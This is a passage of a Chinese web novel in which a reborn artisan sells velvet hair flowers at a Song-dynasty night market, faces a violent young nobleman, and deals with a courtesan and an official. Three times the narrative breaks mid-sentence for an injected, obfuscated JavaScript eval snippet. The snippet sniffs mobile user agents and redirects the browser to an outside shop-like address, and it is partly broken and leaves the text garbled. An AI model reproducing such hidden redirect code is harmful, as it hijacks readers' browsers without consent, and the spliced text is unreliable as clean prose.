身后人低低一笑,指尖将浅绿绣团花的裙带一圈圈绕着,越来越短,直至二人之间的距离不过咫尺。 鼻端被馨烈的佛手香气侵袭,无端地觉得有点熟悉。 她白着脸用力将裙带扯回来,强自镇定道:“妾久未回去,楼下伙伴定已在担心了,这便告辞了。” 许是夜风也将他方才所喝的浮玉烧吹上了头,凌肃又笑了一声,低声唤她:“春娘。” 听到熟悉的声音,常春如遭雷击。颤颤巍巍抬头看去,不可置信的又见到了噩梦中的那张脸。 俊眼修眉,顾盼神飞。 美丽的皮囊后是一颗杀人不眨眼的心。 我靠靠靠靠,怎么哪儿哪儿都有他! 她压下心中的惊涛骇浪,木着脸退后两步,垂首恭敬道:“凌少尹有何指教?” 浓黑夜色中高楼灯火恍惚,只听见凌肃的声音轻得像一声叹息: “荔枝春喝起来甜蜜适口,实则后劲极足。若无其余事,娘子还是早些回去吧。” 常春几乎要在心中大喊,看吧!我就说是在监视我吧! 一个地方他来得我就来不得,连我喝的什么酒都要查一查,还有没有王法,还有没有天理了! 尽管脑内弹幕泛滥成灾,常春还是谨慎地闭紧了唇,神色复杂地盯了他一眼,提着裙子几乎是小跑着消失在了虹桥另一端。 凌肃站在原地,感觉空气中还残留着荔枝春甜蜜芬芳的气息。 良久,他扶额苦笑了一下,眺望着远处楼台灯火,喃喃自语道:“我这是怎么了?” …… 丰乐楼与少尹大人一遇,足足让常春老实了十余日,整天闭门不出,专心做花。 那日常春观察了年节时人们常簪的花儿过后,得出了传统花样的市场已经饱和的结论。 她决定另辟蹊径,做些此前绝对没人做过的花式。 此时小院西窗下,大大的桌案上俱都摆满了形形色色的绒花。 左手边是毛绒款,不用刨花水定型,只需用利剪打尖修型,极费功夫,但是成品绒感舒适,细腻精致。 若用指尖轻抚绒条,便能感受到蚕丝微凉浸润的柔软肤感如水般流过。 常春做了十来支金红渐变的福袋簪儿,滚圆毛绒的福袋半敞着口,里面堆着金黄绒条拼成的铜钱元宝,杂以圆润莹白的珍珠。 另外还有数十个绣球绒灯,粉橘黄绿渐变柔和,下坠小小银铃铛,戴在发间一步一摇,铃声细碎,十分有趣。 当中最精致的,当属一只拳头大小、金红白三色中夹杂宝蓝的醒狮钗。 常春用了数十种长短不一的绒条,精心拼接修饰。成品醒狮双目圆瞪,威风凛凛,连狮子眼上的睫毛都清晰分明,头顶一颗红绒球颤颤巍巍,显出十分的喜兴。 云雀连日来已经看了无数遍了,此刻依旧趴在桌面上看得入迷,眼中充满了歆羡的神色:“阿姐,好漂亮啊!” 常春头也不抬:“废话,你姐当然漂亮!” 云雀顿时翻了个白眼,却见小院门口进来个穿赭色袄裙的女子,她立即笑着迎上前去唤道:“金枝姐姐!” 这是左近的王木匠家的小女儿,自幼跟着她爹爹耳濡目染,竟也做得一手好木工活儿。且由于是女子,手艺比之男子更加细腻精巧,做些精工木雕十分在行。 此刻她的左手上托着一个小小木盘,上面放着一溜紫檀、绿檀的小琵琶、小月琴,还有各色玲珑花窗等,每个仅有半个掌心大小,俱都涂了清漆,光润可爱,正是常春所定的绒花配饰。 见她来了常春精神一振,隔着窗户连连朝她招手:“快来快来,就等你了!” 原来桌案右手边全是扁绒的半成品,泛着蚕丝特有的、似珠光似锦缎的色泽,就等着檀木配件到了再行组装。 金枝也只是个十二三岁的小姑娘,将木盘给了常春便坐了下来,期待地等着。 云雀又去小厨房捧回一壶金桔蜜水,端出一碟澄心酥,两个小姑娘便一道托着腮,聚精会神地看着常春将各式花枝绑起来。 大红山茶掐着金边,开在乌沉檀木琵琶前;清淡水仙举着小盏,背倚一扇玲珑绿檀冰纹窗。 再是岁寒三友松竹梅,拥着一块玲珑透雕小太湖石;又有福寿三多,蟠桃、石榴、佛手相辅相成,恰好隐喻多子多福多寿之意。 天色擦黑,常春堪堪将最后一支檀心腊梅做完。 她满意的扫视了下案上百余只琳琅满目的绒花,左右活动了下僵硬酸痛的肩颈,用力舒展双臂,伸了个大大的懒腰。 接着对云雀招招手:“拿上家伙事儿,咱们赶夜市去!” 金枝忙道:“春娘子,待会儿我便将爹爹做好的薄木盒拿上来找你们,给我留个位置啊。” “好嘞!”常春脆声答道。 …… 掌灯时分,马行街的夜市已十分热闹。 整条街的空气中都飘着现蒸炊饼、羊肉炙子和美酒甘醪混杂的浓香。 两侧坊市的檐下,巨大的灯笼火烛将坊间照得直如白昼。街道上行人如织,摩肩接踵。 两边酒楼茶坊间,丝竹管弦之声、交谈欢笑之声、开怀痛饮之声不绝于耳。二楼凭栏处,时不时有歌伎艳若桃李的裙袂翩翩飘过。 夜市门口有小贩点着纸灯笼,脚边笼子装着各色猫儿狗儿,往往怀中还抱着一只品相格外可爱的,逗引行人时时伸手抚摸。 再往里走,不断有小贩兜售乳糖、圆子、蜜煎、糯米灌藕等小食,还有各色熟水和饮子。 常春二人停在一家绸缎庄的旁边,麻利的拼起长短木架,绷上深黑绒布,再分门别类的将绒花固定上去,一张漂亮规整的展示台便出现在众人眼前。 之所以选在此处,也是常春深思熟虑后的结果。 年节中裁新衣迎新年乃是市井流俗,在绸缎庄挑选了时兴布料,出得门来,正好比着衣料的花色选选配饰。 就这一点而言,姐妹们的爱好还真是几千年没变过。 一切就位,常春拍拍手,亮出一把脆甜嗓音吆喝起来。 “诸位来瞧一瞧,看一看咯!长春绒花,样式时新,做工精致,三年五载,色泽经久。” “买了我们的花,您往头上那么一簪,便是头戴绒花,身享荣华,新春佳节,鸿运当头!” 她殷勤招手,邀对面一个似乎有些心动的女子: “哎,小娘子莫走,我观这支岁寒三友甚是衬您的淡雅气质,快来试戴一下,无妨无妨,试一下又不用付钱,逛街嘛图个开心不是?” 云雀和金枝愣在一边,看着常春迅速融入了夜市叫卖的火辣氛围,三下五除二就卖出了三朵绒花,到账五百五十文,顿时目瞪口呆。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882904|191969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 常春仔细将绒花装进薄木盒内,用细绸带打了个漂亮的蝴蝶结子。又掏出定制的印鉴,在盒子正中盖了个自家的印记——缠枝长春花托着篆体的“長春”二字,看去格外典雅精致。 “喜欢的话下次您再来,我给您留着您爱的款式!” 她将木盒递给方才的小娘子,脸上笑容热情又不过分谄媚,令人如沐春风。 云雀呆呆地问:“阿姐,你真能记得住她喜欢什么款式吗?” 常春挑挑眉,抛过一个傲娇的眼风:“嗯哼,不然呢?” 前世在大学城的夜市摆摊卖绒花,常春就是凭这一手,将每个顾客小姐姐的偏好记得门儿清,才导致生意过度火爆,肝单子肝到倒地暴毙的。 ——然而此刻她看起来并没有吸取教训。 第一笔生意开张,她们的小摊顿时围上来了不少小娘子,吸引了前方几位披着狐裘大氅,发间戴着金冠翠钿的贵女们的注意。 常春连忙向二人示意,准备,大客户来了! 几名贵族仕女缓步行来,当中一名年纪尚小却形容甚美,细柔指尖拈起一支红山茶,道:“这花样儿倒新鲜,既轻巧又别致。” 常春殷勤笑道:“娘子好眼光,您今日穿的这石榴红团花褙子,正配这富丽华贵的洒金红山茶绒花。可要我为您簪上试试?” “绒花?这便是前日凌姨母赴宴时所戴的绒花吗?当时好多人问呢。” 常春听到姓凌的就脊背一僵,哪还敢拿当日献簪种种来当招牌标榜自己。 附和着尬笑了两声,探身将山茶簪在女子鬓边,又沿着左边髻侧簪了两枚橘红绣球灯儿,悠悠荡荡间顿时将头上的金簪玉钗衬得灵动无比。 周围的女伴一阵啧啧称赏,纷纷拿起绒花上头试戴,云雀金枝赶紧各捧上一面靶镜,供客人对镜自照。 这一波富婆扫货整整清了小摊上一半的库存,常春又一人送了支福袋簪儿,共计收入十二贯。 银钱叮当入袋,贵女们还未走远,下一波客人已经又涌了上来。 随着绒花一支支售出,不知不觉夜色已深,街上行人也寥落下来,那支最华美特别的醒狮钗却一直未能找到买主。 期间亦有无数人探问,只是一问价,这支钗非金非玉,竟要两贯钱,只好连连咋舌、望洋兴叹了。 常春却不着急,反正今日绒花大半都已售出,粗略算了算,除开木盒配件材料等成本,也有二十余贯的纯利润。 她去旁边卖胡饼的小摊上买了几块椒麻酥馅儿羊肉胡饼,又端了几碗细料馉饳儿过来,三人围坐在小马扎上准备开吃。 忽听得街道尽头传来“嘚嘚”清脆马蹄声响,转眼间便卷至近前,最前方的骏马一时收不住前蹄,长嘶一声将一边的摊子踢倒,胡饼碎了一地。 还是常春冲上去险险扶了一把,卖胡饼的娘子才侥幸躲过了马蹄踩踏之灾。 常春这才看清马上的人,原来是几名身着纨罗锦绣的恶少年,每人身前各拥着一名妓子,打城外夜游归来。 难怪胡饼摊主敢怒不敢言。 打头的马背上,一名穿着织金松花色圆领袍,腰佩金玉蹀躞带的男子对身前妓子道:“芙蕖姑娘不是正四处寻觅新奇头面?我看这狮子钗倒是稀奇……” 他用手中马鞭斜斜一指,可见墨色雕青从他的指上一直延伸到衣袖笼住的手臂上,甚至连侧颈上都隐约可见。 这男子神色嚣张,语气轻浮:“小娘子,速速将你的钗儿拿过来给爷看看。” 常春先将胡饼娘子扶到一边坐下,伸手拿过醒狮钗,冷冷道:“此钗价值二十贯,一手交钱,一手交货。” 8. 第八章 马行夜市摆摊 襄国公府。 凌夫人伸手将赵清仪一牵,心疼地摸摸她的手:“傻孩子,晚膳都没用就吵着要到外面逛去,冷坏了吧?” 赵清仪皱皱鼻子,扭股糖似的往姨母怀中贴了又贴,依恋了半晌才想起来道:“姨母,我今日在马行街的夜市上看到您那日戴的绒花了,果真精致轻巧呢。” 旁边一直自顾自饮茶的凌肃默默投去了目光。 赵清仪爱娇地给姨母看发间的红山茶,又让侍女将今日购得的绒花端上来,请姨母先挑选喜爱的款式。 凌夫人慈爱地看着她:“仪儿果真长成大姑娘了,但这花儿姨母觉得样样都好,实是挑不出来,不若去请你放之哥哥帮忙挑选?” 清仪有些脸红,她被姨母从应天府接来汴京,表面上是探亲游玩,实则两家还有层不曾说破的意思。 那便是两个孩子都已到了年龄,此番正好不露痕迹地相看起来,顺便也让两个小辈培养培养感情,最好是能亲上加亲,这样两家在朝中也能有更紧密的利益结合。 只是……只是放之哥哥还是像小时候一样,古板方正,不苟言笑,甚是可怕。 清仪一见到他那副冷若冰霜的表情,就想起幼时打了她许多手板、日日罚她抄书的夫子,因此在他面前愈发的拘谨。 她硬着头皮捧着木盒走过去:“放之哥哥,你觉得哪朵花好呢?” 凌肃的目光在盒盖上淡淡扫了一眼,看见那熟悉的缠枝长春花簇拥的两个篆体字,听不出情绪地道:“长春绒花?名字倒有趣。” 清仪正局促得想钻洞逃走,此刻见他居然主动提起话题,几乎要感动得流下泪来。 忙道:“是呢,摊主说这是惟愿‘花常开,人常在,春长留’之意……” 凌肃微微一笑:“是吗?意头倒是不错。” 这如同冰消雪融般的笑容,若是京中其他贵女看了,定要脸红不已,可赵清仪只是呆了呆,感觉…… ……感觉更恐怖了。 …… 马行街夜市中,两方人仍在僵持。 那恶形恶状的男子眉毛一竖:“这钗非金非玉,你竟要我二十贯?怎么,你看爷长得像冤大头么?” 常春不卑不亢道:“郎君若是嫌贵,可去别处再看看。” 此时男子身前一直未曾开口的妓子突然道:“春宵苦短,郎君何苦在此虚耗光阴呢。不若速归行院里,让妾为您跳一支近日新排的舞可好?” 常春有些意外的转眼看了看这个名为芙蕖的妓子。 那男子神色晦暗,他原看着这小摊上不过三个柔弱女子,其中两个还只是半大丫头,说不得吓一吓便将钗子白给了他,让他好好在芙蕖眼前逞逞威风。 谁知这不知天高地厚的女子一开口便把他将在了那儿。 他回头看看后方一同玩乐的伙伴,俱是行院里有名的纨绔。此番这口气要是泄了,今后他岂不是要沦为这汴京城风月场上的一个笑柄? 男子眼中闪过阴毒神情,道:“要爷买你的东西,总得先让爷看看货吧!” 说完手臂肌肉猛地发力,一道几乎快出残影的鞭影向着常春飞去,目的却不是为了卷走常春手中的绒花,而是直直冲着她的脸去的。 这马鞭是北边金人的手艺,柔韧牛皮鞣制杂以铁硬棕丝,火烧水泡形色不变,若是一鞭子抽上人脸,几与毁容无异。 芙蕖瞬间色变,假作惊惧,嘤咛一声扯住了男子的衣袖,将他的鞭风带偏了数寸,避开了常春的头脸要害。 常春将马上二人的动作看得清清楚楚,她本想利用男性求偶时疯狂膨胀的自尊心,激这纨绔多花十倍的价钱买下钗子,好弥补胡饼娘子的损失,未料这男子竟如此丧心病狂,被扫了面子便要当场行凶。 常春避无可避,只得紧紧闭上眼睛,准备空手接白刃。心中哀叹自己果然还是太天真了,竟敢将这些恶少年类比前世清澈但愚蠢的男大,实乃寡人之过、寡人之过也! 未防斜刺里突然窜出一人挡在常春身前,鞭子携着罡风狠狠抽在他背上,登时将青布襕衫撕裂,鞭梢咬进肉里,留下一道皮开肉绽的血印子。 一旁的云雀同金枝俱已吓呆了,只听得卖胡饼的姜娘子惊呼一声:“宋郎君!” 宋时琛闷哼一声,却将脊背挺得笔直,如同一棵青松挡在常春身前,对着几名纨绔冷冷道: “宫中圣人正沐佛诞,最忌京中无端寻衅滋事,乱了清平之象。方才我已去报了京兆府,片刻巡卫即至,若你们不惧圣人之怒,尽可继续行此欺凌弱小之事!” 街道拐角处果真隐隐传来甲胄轻擦之声,打头男子将马鞭向常春凌空虚虚一点,做了个割喉的动作,恶狠狠丢下一句:“给我等着!” 接着同几名同伴彼此交换了个眼神,便匆匆打马而去。 宋时琛晃了晃,脸上终于露出一丝苍白痛色。 常春和姜娘子忙一左一右将他扶到小马扎上,姜娘子将摊上幸存的热汤端了一碗递与他,苦笑道:“宋郎君今日再想买饼的话,可是没有了。” 又转头对常春三人介绍道:“这位宋郎君原籍江宁府句容县,是来赴明年春闱的举子,他日日攻读到深夜,便会来买我的胡饼——今日因我等之事,倒叫宋郎君生受了。” 说着便抬袖拭泪。 常春忙敛衽郑重一礼:“妾多谢宋郎君仗义相救之恩,您背上的伤,还是让妾送您去医馆处置下可好?” 宋时琛立即起身拱手回礼,却不妨牵动背上伤口,“哎哟”一声又跌坐回去,但他斯文清隽的脸上神色仍是不变,似乎是怕常春因此而过于自责般道: “无妨,一点皮外伤而已。客舍中常备跌打损伤药,稍后我向茶博士讨点来敷了便是。” 他缓了缓,似是在众位女子关切的环绕中实在有点不好意思,几口喝完热汤,起身要走,想了想又向常春诚恳道:“说不定此人还会来找麻烦,娘子还是暂避几日为好。” 常春忙行礼应是:“那是自然,妾多谢宋郎君关心。” 宋时琛这才转身离去。 经此一役,谁也无心再做生意了。常春收好小摊,将今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882905|191969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的盈利点出来数了数,分了二十贯出来。 云雀猜到了她要做什么,情不自禁拉了拉她的衣袖,嘟起嘴,眼圈也有点红。 常春点了点她的鼻子,安抚道:“放心,饿不着你的,小财迷。” 云雀顿时不服气地道:“我才不是财迷……”只是这钱是她们今夜大半的利润,也是阿姐辛辛苦苦做了十来天绒花的辛苦钱,她只是……只是心疼阿姐罢了。 常春笑着摇摇头,向姜娘子的小摊走去。 这边姜娘子正一边心疼的拾掇着被踩踏跌碎的锅碗灶具,一边将眼泪往肚里咽。 本来年关下生计就艰难,更别提家中还有几个孩子嗷嗷待哺,这谋生的家伙事都被糟蹋得几乎不能用了…… 她抹了把泪,耳中听见咚的一声,一个沉甸甸的布袋子落在她面前。 她恍惚着抬头,只见常春温和地笑着看她:“姜娘子别急,今日之事因我而起,你摊子的损失,我担了。夜深了,快些家去吧。” 姜娘子抖着唇道:“分明是那恶少逞凶,关小娘子何事?这钱也是小娘子一手一脚辛苦挣得的,我不能要!” 常春眨眨眼,方才云雀早同这姜娘子套了半天近乎,将她家中情形了解了个大概——青年丧夫,一人带着三个孩子,上面还要奉养二位老人。 她道:“我知姜娘子有礼有节,但方才那些纨绔却是冲我而来,姜娘子也是遭了池鱼之殃罢了。” 她顿了顿又道:“便不为自己,也得想想孩子。” 姜娘子目光闪烁,似微微动容。常春忙乘胜追击:“非我自吹自擂,我做绒花的手艺精湛,这些钱,摆次摊就赚回来了,姜娘子千万别再推辞了。” 想了想又对她眨眨眼:“若娘子心中怜惜妹妹们,以后再来买饼,可得给我们打个折了。” 她的语气十分俏皮,姜娘子纵然一包泪花还蓄在眼中,此刻也噗嗤一声笑了出来,大大方方的收了钱袋子:“打什么折,以后你们的饼子,我都包了!” 正笑闹间,一个才留头的小幺儿匆匆跑了过来,大声问道:“哪位是卖绒花的娘子?” 常春迈步上前:“是我,何事?” 那小幺儿双手捧着一个满绣翠叶菡萏的锦囊,十分活泼神气。他上下打量了常春几眼,道:“我家主人叫我问你‘你那只狮子钗,是真的要二十贯,还是假的要二十贯呢’?” 常春有些意外,莫非刚刚那群纨绔仍未死心,还欲报复? 因而警惕地道:“真的如何?假的又如何?” 小幺儿微微一笑:“我家主人说了,若是假的要二十贯呢,就将这锦囊给你,可若是真的要二十贯呢,就要将锦囊给旁边卖胡饼的娘子了。” 常春猛然醒悟过来:“你家主人,可是刚刚那位叫芙蕖的娘子?” 小幺儿但笑不语。常春明白过来,也微笑起来,伸手接过锦囊,将锦囊系带松开,一两银子一贯钱,里面正是齐齐整整二十两白银。 常春问他:“你家娘子所居何处,你回去转告她,我明日送钗上门。” 9. 第九章 芙蕖 芙蕖住在曲院街上的凌波馆内。 常春被门上仆妇引着穿过曲径流水飞桥,藤萝掩映山石,来到一座极为清幽的静舍中,才发现这儿与她想象中的风月场所相去甚远。 什么一进门就被莺莺燕燕包围着,招呼“大爷来玩儿呀”——是不存在的,一路遇到的女子见到外客只是微微颔首致意,并不多做打量。 静室中,芙蕖已等在那儿了。 瑞兽香炉中,炭火隔着云母片徐徐烘焙香丸,返魂香温暖芬芳,香雾氤氲,不见一丝烟尘。 窗下棋盘上云子散乱,芙蕖倚在桌前。 她并未挽发,如泼黑发蜿蜒在雪白狐裘上,素白指尖执着一枚黑子轻敲棋枰,阳光透过窗格映上她的脸,照得两颊如同水晶雕成一般。 见常春来了,她懒懒道:“娘子可要与我对弈一局?” 常春脊背一僵,不是,上来就和我玩儿尬的?你看我像是和琴棋书画任意一样沾边的人吗? 她忙举起手中盒子:“我来为娘子送钗。” 芙蕖随手接过,取出钗子在脑后挽了个家常一窝丝,绒绒小狮子便自她脑后俏皮地探出头来,额上红绒球一颤一颤,十分活泼生动。 她拿过一面菱花靶镜照照,脸上终于浮起了个心事少些的笑容。 眼珠一转,她问常春:“这醒狮钗真要二十贯?娘子莫不是在敲我竹杠?” 常春淡定一笑:“自然不是,这是我送你的。” 说着她话锋一转:“你呢,既然觉得是在敲竹杠,为何后来又要送那二十贯来?” 芙蕖调皮一笑,此时她才真正像个十六七岁的少女了:“我?我是怕你白忙活了半夜,最后全赔了胡饼娘子。” 常春微微笑道:“妾正是感念娘子仗义之举。所以今日除了赠钗,娘子不妨说说你要找什么样的新奇头面,也许我刚好能做呢?” 芙蕖的眼睛微微睁大了,此时她才真正像一个十六七岁的少女,露出点天真娇憨的表情来:“你怎知我要寻……你昨日听见赵郎君说了?” 常春忙将手指竖在嘴前嘘了一声:“你昨天那位……朋友,不在此处吧?我可是把他得罪了,万一碰到了他又给我一鞭怎么办?” 芙蕖噗嗤一笑:“娘子安心,适才听其余相熟的客人说,昨日他们便被京兆府衙巡卫抓到巡检司去关了半夜……” “还不止呢,那几人的亲眷父母凡在朝中为官的,今晨朝议时又被右司谏好好参了一笔治家不严家风不正,被圣人大大申饬了一番,怕是好长时间都不敢露面了。” 常春见她十分幸灾乐祸,纳闷道:“那赵郎君不是你……朋友吗?” 芙蕖将云子“啪”地丢回棋盒内,翻了个白眼:“若非他家在朝中还算有些势力,谁耐烦应付他?” 常春看着还在咕噜噜滚着的棋子,心中对这位小姑奶奶的脾气有了初步的认识。 心中一块大石落下,她转移话题:“娘子要什么样的头面?” 芙蕖抬手替她续了一杯暖融融的香薷饮子:“娘子唤我芙蕖即可,还未知娘子名姓?” 常春道了姓名籍贯,她便道:“春娘,你是外地人士,定然不知咱们汴京行院的规矩。” “这行院里,每三年选一次行首,今年的元宵佳节,恰是第三年评选之期。” “这行首会上,大家除了看才情相貌,服饰打扮也是极为重要的,我早半年便定好了衣裳簪环。可我有个死对头——南月馆里的迎仙,她家前日里放出风声来,竟是仿照我的定了套几无差别的!” 说着芙蕖便怒不可遏,涂了蔻丹的鲜红长指甲深深掐入掌心。 常春急忙安慰她:“你且给我说说你之前是什么样的装扮?” 晶莹贝齿咬住一边嘴唇,芙蕖恨恨道:“霓裳羽衣!” 常春低头思索了一阵子,忽地心头涌起一阵灵感:“懂了,既她要玩仙气飘飘清新淡雅那套,那咱们就索性走艳色倾国、人间富贵花路线。” 她就着案上纸笔,刷刷画起了簪稿:“人嘛,尤其是男人,终归是视觉动物。仙女下凡,人人都说喜欢,可相较于悬崖边高不可攀的雪莲,与人世间热烈明艳的牡丹,大多数人会选谁,你猜?” 芙蕖沉思了一会儿,眼睛亮了,凑上前去看常春如有神助般,飞快下笔。 很快,一套十二支牡丹钗环跃然于纸上,果真是颜色倾国,华美异常。 但另一张纸上,她却看不懂是什么了。她迟疑地指着上面的图形问:“这……仿佛是个翅膀?” 但底下一堆乱七八糟的线条是什么? 常春卖了个关子,她眼睛发亮,其中似有名为‘专业’的火苗熊熊燃烧: “别急,前面的牡丹钗只能说是正常发挥,这张才是全场焦点。且待我回家找我一个小姐妹,设计一个只要你一出现,就会让大家没法移开目光的宝贝!” 芙蕖看着常春聚精会神画图,额间甚至因为太过专注沁出了薄薄汗意,她情不自禁问道:“春娘为何肯这样帮我?” 常春笑了笑:“可能因为在这世道上,女子活得格外艰难吧。” 昨夜芙蕖虽在纨绔掌中,也一直尽力回护着她们。常春并非蠢人,岂能看不出她几次三番冒着风险相救的动作。 所以今日她来了。 两个女子陌生的灵魂,隔着千年百年的时光彼此凝视。 芙蕖眼中分明有些晶莹闪烁,却哼了一声,嘴硬道:“那春娘可莫要叫我失望,若是我没能夺得行首,那二十贯可得连本带利还给我!” 常春笑着:“好!” …… 辞别了芙蕖,照旧是侍女在前方引路,却不防在穿过园中酒阁时撞见了一人。 凌肃没想到会在这里撞见常春,神色不自然了一瞬,随即又深深地皱起了眉:“你怎会在此处?” 他皱眉思索:按照巡卫所报,昨夜之事确与一凌波馆妓子有关,可今日已尽数摆平了,她为何又来了这里?可是有人胁迫?” 背后阁中觥筹交杯之声隐隐传来,伴着琵琶声低吟浅唱的女子在帘幕间露出一点粉桃般的面颊。 只因请托何司谏帮他弹劾了几个人,一下朝凌肃便被他拖来了此处,连同几个凑热闹的同僚,大家卯足了劲要好好敲小凌大人一笔。 席面要上好的,酒水要最贵的,歌姬要最美的。 欠了人情,平素不苟言笑的人今日也不好再端着那副死板的脸,被趁机灌了不少酒。好容易借着酒令输了,被罚摘花的机会出来吹吹风,却遇见了这个罪魁祸首。 此时她竟还理直气壮地摆出一副眼观鼻、鼻观心、“我什么都没看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882906|191969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的表情! 面前少尹大人的薄唇因酒渍而水润透明,眼中却似是含着薄怒般微微发红,眼尾也飞着一抹同样的薄红,好似春色撩人却不自知。 常春完全无心欣赏,只颓丧暗道,又来了又来了,汴京纪律委员又要发功了。 她僵着脸行礼:“凌大人,好巧,在这里也能碰到您。” 顿了顿,她回答他刚刚的问题:“我来此处为客人送发钗——这就走了,凌大人请自便。” 你不是来这里嫖的吗?老嫖|客! 我比你高贵,我是来赚钱的! 或许她的目光实在明显,凌肃下意识想解释:“咳,我来此是为了……” “……公干。”常春无比自然地接话。 凌肃摸摸鼻子:“歌伎都是同僚叫的,我并非出于……” “……自愿。”常春丝滑无比地继续接道。 数次被抢了词的凌少尹脸上终于有些挂不住了。 他觉得这个每次都正好接在他话头上的女子十分莫名其妙,而忙着解释的自己更是莫名其妙。 园中冷风呼呼刮过,卷起地上枯叶。 半晌无话,常春转身欲走,却被身后人一把扯住衣袖。 其实伸手的一瞬间他就后悔了,他要以什么身份,什么立场,编个什么样的借口来留住她呢? 昨夜巡卫来报夜市中事,听到那惊心动魄的一鞭时,他的手指当时便攥裂了一册书卷,强忍着奔过去的心情,告诉自己事情已经发生了,她此时是安全的。 却在沉思良久后,唤上家仆拿起拜帖,星夜敲开了右司谏家的门。 “常春。”他扶着额头,似是十分苦恼地,直呼她的名字。 少尹大人低低的嗓音似乎浸透了蜜酒,带着三分醉意,七分蛊惑:“将你发上的花给我一朵吧。” 业务以一种想不到的方式拓展了。 常春豁然开朗。 原来是看我路过,想起了我巧夺天工的手艺,想用花儿讨好阁中佳人。 看不出来啊凌大人,还挺闷骚。 她立即换了副热情神色:“凌大人可是要送给哪位小娘子,女孩子都不喜欢别人戴过的花儿的。不若凌大人允我去阁中,为小娘子推荐一些别样的款式?” 凌肃垂下眼睫,素来古井无波的表情出现了一丝裂痕,平生第一次感受到了鸡同鸭讲的无力。 他轻飘飘地撇过眼神去:“你手中并无实物,如何推荐?” 常春笑得眼睛都眯起来,自袖袋中抽出一本薄薄的小册子,献宝般举起来展示给他看。 册子是活页的,以柔韧洁白的羊皮制成,脊侧以绸带相系,便于随身携带而不卷不皱。上面赭石靛蓝藤黄苍青调和,精细地绘着各色绒花簪钗,连最小颗的米珠的光泽都画得分毫毕现。 凌肃脑海中浮现出昨日赵清仪捧回的那一大盒子各式绒花,或华美或淡雅,或古朴或飘逸,俱都玲珑精致,望之可喜。 就像……就像眼前的女子,此时圆睁着晶晶亮的眼睛,期待地看着他。而他知道她无论在什么样的境地中,都会是这般永远生机勃勃,永远热情讨喜。 她真的很爱自己这份小小的事业。他想。 于是他转身向阁中走去,声音平静,语调淡然:“既如此,那便跟过来吧。” 10.第十章 种花人 阁中众人见凌肃空手而回,纷纷乐不可支。 下首一名着宽袖道袍,身姿潇逸的男子拿着牙箸叮叮敲着杯盘碗盏笑道:“好呀你个凌放之,行酒令输了叫你去摘朵花来,花呢?” 凌肃不置可否,微微侧身向阁外做了个请的手势:“天寒地冻,好花不易寻。不过,我倒替众位寻回了一位种花人。” 众人顿时好奇不已,皆伸长了脖子朝阁外看去,只见一名女子柔美的身影款款而来。 常春今日身着米白绣大朵红山茶的小袄儿,系着石榴红细绫褶裙。 如云青丝间挽着流苏髻,不饰金玉,只簪数支小巧玲珑的红梅联珠绒花钗。其上白水晶与石榴石串成的簇簇流苏缀在鬓间,时不时擦过她的颊畔。 她的脸原就生得极美,长眉入鬓,眸剪秋水,此刻晶莹流苏珠光流转,更衬得她的脸皎然生光,添了许多精致脆弱之感。 常春OS:北宋第一绒花主理人,带货咱是专业的! 席间已有歌伎认出了她:“是马行街上卖绒花的常娘子!” 这位出声的俨然便是老顾客了,常春抿唇一笑,对着众人行了个礼:“承蒙凌大人相邀,妾来为诸位娘子挑花儿。” 她适才听闻行酒令一节,才知自己搞了个乌龙。 但……管他的,谁叫刚刚凌肃伸手扯她的袖子,自己送上门来,常春一但准备赚起钱来,便是鱼钩上的饵也得咬一口再说。 更别提此刻如此多的姐姐妹妹,个个两眼放光摩拳擦掌,全是她的潜在客户,今日她常春定要大大赚一笔凌放之的银子! 凌肃低头一看她眸光闪烁,似乎在打着什么不可言说的鬼主意,顿时猜到了这傻瓜心中所想。 他情不自禁笑着摇摇头道:“要找常娘子订花的便去吧,今日都记我账上。” 众女得了许可,顿时一阵莺莺燕燕的欢呼,拥至常春身边对着册子指指点点。 常春马上切换营业模式,时而取下自己发间红梅钗,在眼前女子头上比划:“娘子肤色雪白,这雪里红梅戴在头上,恰似锦上添花。” 时而翻开册子,细白手指指指点点:“我观娘子中庭略长,不若在鬓边簪这朵粉色大芍药,拉高视觉重心……哎、就是让大家第一眼多看花儿,花大了,脸就显得小巧了嘛。” 凭借先进千年的穿搭装扮技巧,常春在脂粉堆里混得如鱼得水,不一会儿,众女便亲热地叫起了“春娘”。 这个说:“春娘姐姐,我脸色有些发黄,照你刚刚‘互补色’的说法,我是否该配这支紫色的鸢尾发梳呢?” 那个问:“春娘妹妹,我自觉额头略有些窄,按照方才所说‘留白原理’的话,是否应该将刘海梳上去,以小流苏在侧边点缀即可呢?” 